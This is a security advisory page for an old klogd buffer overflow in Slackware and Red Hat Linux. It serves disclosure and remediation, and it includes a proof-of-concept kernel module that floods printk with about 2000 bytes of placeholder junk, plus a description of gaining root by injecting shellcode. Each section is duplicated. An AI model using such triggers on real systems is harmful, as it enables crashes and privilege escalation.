Multiple Vendor Linux klogd Buffer Overflow Vulnerability
BID:398
Info
Multiple Vendor Linux klogd Buffer Overflow Vulnerability
| Bugtraq ID: | 398 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | Yes |
| Local: | Yes |
| Published: | Feb 26 1999 12:00AM |
| Updated: | Feb 26 1999 12:00AM |
| Credit: | First posted to BugTraq by Michal Zalewski <[email protected]> on September 10, 1998. Author followup posted to BugTraq by Martin Schulze <[email protected]> on November 16, 1998. |
| Vulnerable: |
Slackware Linux 3.5 Slackware Linux 3.4 Slackware Linux 3.3 Slackware Linux 3.2 Slackware Linux 3.1 Redhat Linux 5.2 i386 Redhat Linux 5.1 Redhat Linux 5.0 |
| Not Vulnerable: |
Redhat Linux 6.0 |
Discussion
Multiple Vendor Linux klogd Buffer Overflow Vulnerability
It is possible to cause a denial of service (remote and local) through generating old, obscure kernel messages (not terminated with \n) in klogd. The problem exists because of a buffer overflow in the klogd handling of kernel messages. It is possible to gain local root access through stuffing shellcode into printk() messages which contain user-controllable variables (eg, filenames). What makes this problem strange, however, is that it was fixed two years ago. Two of the most mainstream linux distributions (Slackware Linux and RedHat Linux), up until recently, are known to have been shipping with the very old vulnerable version. Fixes and updates were released promptly. There is no data on other distributions.
It is possible to cause a denial of service (remote and local) through generating old, obscure kernel messages (not terminated with \n) in klogd. The problem exists because of a buffer overflow in the klogd handling of kernel messages. It is possible to gain local root access through stuffing shellcode into printk() messages which contain user-controllable variables (eg, filenames). What makes this problem strange, however, is that it was fixed two years ago. Two of the most mainstream linux distributions (Slackware Linux and RedHat Linux), up until recently, are known to have been shipping with the very old vulnerable version. Fixes and updates were released promptly. There is no data on other distributions.
Exploit / POC
Multiple Vendor Linux klogd Buffer Overflow Vulnerability
The following "exploit" is a small module you can use to try and exploit the problem on your machine.
-- gcc -c -O3 test.c; insmod test; rmmod test --
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <asm/unistd.h>
#include <linux/version.h>
#include <asm/string.h>
int init_module(void) {
printk("INSERT_ABOUT_2000_BYTES_OF_JUNK_HERE\n");
return 0;
}
Klogd Exploit Using Envcheck by Esa Etelavuori <[email protected]>
Release Date: 20000925
The following "exploit" is a small module you can use to try and exploit the problem on your machine.
-- gcc -c -O3 test.c; insmod test; rmmod test --
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <asm/unistd.h>
#include <linux/version.h>
#include <asm/string.h>
int init_module(void) {
printk("INSERT_ABOUT_2000_BYTES_OF_JUNK_HERE\n");
return 0;
}
Klogd Exploit Using Envcheck by Esa Etelavuori <[email protected]>
Release Date: 20000925
Solution / Fix
Multiple Vendor Linux klogd Buffer Overflow Vulnerability
Solution:
As stated in the discussion, this problem was fixed two years ago. Recent versions of RedHat Linux and Slackware are known to be vulnerable, shipping with an old version of the sysklogd package (1.3-25).
New versions are available at:
ftp://ftp.infodrom.north.de/pub/people/joey/sysklogd/
ftp://sunsite.unc/edu/pub/Linux/system/daemons/
For RedHat users, it's advised to consult the RedHat 5.2 errata page for the fix or upgrade to RedHat 6.0.
Solution:
As stated in the discussion, this problem was fixed two years ago. Recent versions of RedHat Linux and Slackware are known to be vulnerable, shipping with an old version of the sysklogd package (1.3-25).
New versions are available at:
ftp://ftp.infodrom.north.de/pub/people/joey/sysklogd/
ftp://sunsite.unc/edu/pub/Linux/system/daemons/
For RedHat users, it's advised to consult the RedHat 5.2 errata page for the fix or upgrade to RedHat 6.0.
References
Multiple Vendor Linux klogd Buffer Overflow Vulnerability
References:
References: